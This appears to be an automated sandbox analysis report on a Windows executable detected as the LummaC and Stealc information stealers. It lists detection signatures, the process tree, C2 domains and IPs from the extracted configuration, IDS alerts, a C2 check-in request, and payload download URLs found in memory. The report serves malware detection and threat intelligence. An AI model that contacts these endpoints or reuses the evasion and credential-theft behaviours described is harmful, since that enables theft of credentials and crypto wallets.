Edit tour

Windows Analysis Report
u1z7S3hr06.exe

Overview

General Information

Sample name:	u1z7S3hr06.exe renamed because original name is a hash value
Original sample name:	e82aa987c6c593c0c4bedb9747ec1666.exe
Analysis ID:	1578961
MD5:	e82aa987c6c593c0c4bedb9747ec1666
SHA1:	d19b1a59bd10f4421ffb716f7f4a46ba00ffc5c8
SHA256:	3a8610852459c88c10ce098181b9005f9b295ebfe04a85d1878dd51aedcf31b9
Tags:	exeLummaStealeruser-abuse_ch
Infos:

Detection

LummaC, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to detect virtual machines (SIDT)

Contains long sleeps (>= 3 min)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

u1z7S3hr06.exe (PID: 7540 cmdline: "C:\Users\user\Desktop\u1z7S3hr06.exe" MD5: E82AA987C6C593C0C4BEDB9747EC1666)

QG5URI6Q0ZNU9FS6XT6N3IH7I.exe (PID: 8052 cmdline: "C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe" MD5: ED267F8F886C1D23165754F5C17B852D)

BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe (PID: 8188 cmdline: "C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe" MD5: A0956C9F9C719B85668C6F8B85F89A5B)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}

Threatname: LummaC

{"C2 url": ["discokeyus.lat", "crosshuaht.lat", "grannyejh.lat", "sustainskelet.lat", "necklacebudi.lat", "sweepyribs.lat", "aspecteirs.lat", "rapeflowwj.lat", "energyaffai.lat"], "Build id": "PsFKDg--pablo"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000005.00000002.2115624126.00000000004C1000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000005.00000003.2067764925.00000000049E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000005.00000002.2117885671.0000000000BDE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1835761795.0000000000B86000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: u1z7S3hr06.exe PID: 7540	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: u1z7S3hr06.exe PID: 7540	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe PID: 8188	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe PID: 8188	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 3 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T17:10:32.687878+0100	2028371	3	Unknown Traffic	192.168.2.4	49730	104.21.21.99	443	TCP
2024-12-20T17:10:34.680787+0100	2028371	3	Unknown Traffic	192.168.2.4	49731	104.21.21.99	443	TCP
2024-12-20T17:10:37.153658+0100	2028371	3	Unknown Traffic	192.168.2.4	49732	104.21.21.99	443	TCP
2024-12-20T17:10:40.466540+0100	2028371	3	Unknown Traffic	192.168.2.4	49733	104.21.21.99	443	TCP
2024-12-20T17:10:42.765441+0100	2028371	3	Unknown Traffic	192.168.2.4	49734	104.21.21.99	443	TCP
2024-12-20T17:10:45.498855+0100	2028371	3	Unknown Traffic	192.168.2.4	49735	104.21.21.99	443	TCP
2024-12-20T17:10:47.992496+0100	2028371	3	Unknown Traffic	192.168.2.4	49737	104.21.21.99	443	TCP
2024-12-20T17:10:53.119450+0100	2028371	3	Unknown Traffic	192.168.2.4	49742	104.21.21.99	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T17:10:33.448052+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49730	104.21.21.99	443	TCP
2024-12-20T17:10:35.523254+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49731	104.21.21.99	443	TCP
2024-12-20T17:10:53.880718+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49742	104.21.21.99	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T17:10:33.448052+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49730	104.21.21.99	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T17:10:35.523254+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49731	104.21.21.99	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T17:10:32.687878+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.4	49730	104.21.21.99	443	TCP
2024-12-20T17:10:34.680787+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.4	49731	104.21.21.99	443	TCP
2024-12-20T17:10:37.153658+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.4	49732	104.21.21.99	443	TCP
2024-12-20T17:10:40.466540+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.4	49733	104.21.21.99	443	TCP
2024-12-20T17:10:42.765441+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.4	49734	104.21.21.99	443	TCP
2024-12-20T17:10:45.498855+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.4	49735	104.21.21.99	443	TCP
2024-12-20T17:10:47.992496+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.4	49737	104.21.21.99	443	TCP
2024-12-20T17:10:53.119450+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.4	49742	104.21.21.99	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T17:10:55.424213+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	49744	185.215.113.16	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T17:10:31.184345+0100	2058360	1	Domain Observed Used for C2 Detected	192.168.2.4	50611	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T17:10:31.039553+0100	2058364	1	Domain Observed Used for C2 Detected	192.168.2.4	63071	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T17:10:30.812058+0100	2058378	1	Domain Observed Used for C2 Detected	192.168.2.4	59219	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T17:10:39.159750+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49732	104.21.21.99	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T17:11:11.574465+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49745	185.215.113.206	80	TCP

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: discokeyus.lat

Source: u1z7S3hr06.exe, 00000000.00000003.1995446017.0000000000BE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: u1z7S3hr06.exe, 00000000.00000003.1995470994.0000000000B79000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1995446017.0000000000BE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/q
Source: u1z7S3hr06.exe, 00000000.00000003.1995470994.0000000000B79000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: u1z7S3hr06.exe, 00000000.00000003.1995470994.0000000000B86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/off/def.exe
Source: BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe, 00000005.00000002.2117885671.0000000000BDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe, 00000005.00000002.2117885671.0000000000C47000.00000004.00000020.00020000.00000000.sdmp, BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe, 00000005.00000002.2117885671.0000000000C3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe, 00000005.00000002.2117885671.0000000000C47000.00000004.00000020.00020000.00000000.sdmp, BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe, 00000005.00000002.2117885671.0000000000C3A000.00000004.00000020.00020000.00000000.sdmp, BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe, 00000005.00000002.2117885671.0000000000C27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe, 00000005.00000002.2117885671.0000000000C3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/
Source: BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe, 00000005.00000002.2117885671.0000000000C47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpF
Source: BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe, 00000005.00000002.2117885671.0000000000C47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpZ
Source: BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe, 00000005.00000002.2117885671.0000000000C47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpc
Source: u1z7S3hr06.exe, 00000000.00000003.1807562059.00000000059B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: u1z7S3hr06.exe, 00000000.00000003.1807562059.00000000059B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: u1z7S3hr06.exe, 00000000.00000003.1750741861.0000000000BC1000.00000004.00000020.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1912026405.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1835761795.0000000000BC1000.00000004.00000020.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1857010479.0000000000BC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: u1z7S3hr06.exe, 00000000.00000003.1807562059.00000000059B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: u1z7S3hr06.exe, 00000000.00000003.1807562059.00000000059B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: u1z7S3hr06.exe, 00000000.00000003.1807562059.00000000059B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: u1z7S3hr06.exe, 00000000.00000003.1807562059.00000000059B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: u1z7S3hr06.exe, 00000000.00000003.1807562059.00000000059B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: u1z7S3hr06.exe, 00000000.00000003.1807562059.00000000059B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: u1z7S3hr06.exe, 00000000.00000003.1807562059.00000000059B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: u1z7S3hr06.exe, 00000000.00000003.1807562059.00000000059B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: u1z7S3hr06.exe, 00000000.00000003.1807562059.00000000059B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: u1z7S3hr06.exe, 00000000.00000003.1751639910.00000000059CF000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1751778323.00000000059CC000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1751700806.00000000059CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: u1z7S3hr06.exe, 00000000.00000003.1830873047.0000000005989000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: u1z7S3hr06.exe, 00000000.00000003.1830906189.0000000005988000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: u1z7S3hr06.exe, 00000000.00000003.1751639910.00000000059CF000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1751778323.00000000059CC000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1751700806.00000000059CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: u1z7S3hr06.exe, 00000000.00000003.1751639910.00000000059CF000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1751778323.00000000059CC000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1751700806.00000000059CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: u1z7S3hr06.exe, 00000000.00000003.1751639910.00000000059CF000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1751778323.00000000059CC000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1751700806.00000000059CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: u1z7S3hr06.exe, 00000000.00000003.1830873047.0000000005989000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: u1z7S3hr06.exe, 00000000.00000003.1830906189.0000000005988000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: u1z7S3hr06.exe, 00000000.00000003.1750741861.0000000000B62000.00000004.00000020.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1785242155.0000000005986000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1830873047.0000000005989000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1856924836.0000000000BE7000.00000004.00000020.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1830906189.000000000598A000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1785368624.0000000005986000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1806699718.0000000005987000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1994822023.000000000598A000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1831209024.000000000598A000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1808635736.000000000598B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/
Source: u1z7S3hr06.exe, 00000000.00000003.1750741861.0000000000B62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/:
Source: u1z7S3hr06.exe, 00000000.00000003.1835726125.0000000000BFB000.00000004.00000020.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1995470994.0000000000B86000.00000004.00000020.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1857010479.0000000000B79000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/api
Source: u1z7S3hr06.exe, 00000000.00000003.1995470994.0000000000B86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/apimh
Source: u1z7S3hr06.exe, 00000000.00000003.1994822023.000000000598A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/t
Source: u1z7S3hr06.exe, 00000000.00000003.1860274867.0000000005985000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1830873047.0000000005989000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1856744553.000000000598B000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1830906189.000000000598A000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1831209024.000000000598A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/tuulHBdqWKZGxkQH29TI
Source: u1z7S3hr06.exe, 00000000.00000003.1751639910.00000000059CF000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1751778323.00000000059CC000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1751700806.00000000059CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: u1z7S3hr06.exe, 00000000.00000003.1751639910.00000000059CF000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1751778323.00000000059CC000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1751700806.00000000059CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: u1z7S3hr06.exe, 00000000.00000003.1751639910.00000000059CF000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1751778323.00000000059CC000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1751700806.00000000059CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: u1z7S3hr06.exe, 00000000.00000003.1830873047.0000000005989000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1830906189.0000000005988000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: u1z7S3hr06.exe, 00000000.00000003.1752529025.00000000059E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: u1z7S3hr06.exe, 00000000.00000003.1808651483.0000000005AA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: u1z7S3hr06.exe, 00000000.00000003.1808651483.0000000005AA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: u1z7S3hr06.exe, 00000000.00000003.1785291170.00000000059DB000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1752583119.00000000059DB000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1785124267.00000000059DB000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1752529025.00000000059E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: u1z7S3hr06.exe, 00000000.00000003.1752583119.00000000059B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: u1z7S3hr06.exe, 00000000.00000003.1785291170.00000000059DB000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1752583119.00000000059DB000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1785124267.00000000059DB000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1752529025.00000000059E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: u1z7S3hr06.exe, 00000000.00000003.1752583119.00000000059B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: u1z7S3hr06.exe, 00000000.00000003.1830906189.0000000005988000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: u1z7S3hr06.exe, 00000000.00000003.1751639910.00000000059CF000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1751778323.00000000059CC000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1751700806.00000000059CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: u1z7S3hr06.exe, 00000000.00000003.1830906189.0000000005988000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: u1z7S3hr06.exe, 00000000.00000003.1751639910.00000000059CF000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1751778323.00000000059CC000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1751700806.00000000059CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: u1z7S3hr06.exe, 00000000.00000003.1808651483.0000000005AA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: u1z7S3hr06.exe, 00000000.00000003.1808651483.0000000005AA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: u1z7S3hr06.exe, 00000000.00000003.1808651483.0000000005AA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: u1z7S3hr06.exe, 00000000.00000003.1808651483.0000000005AA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
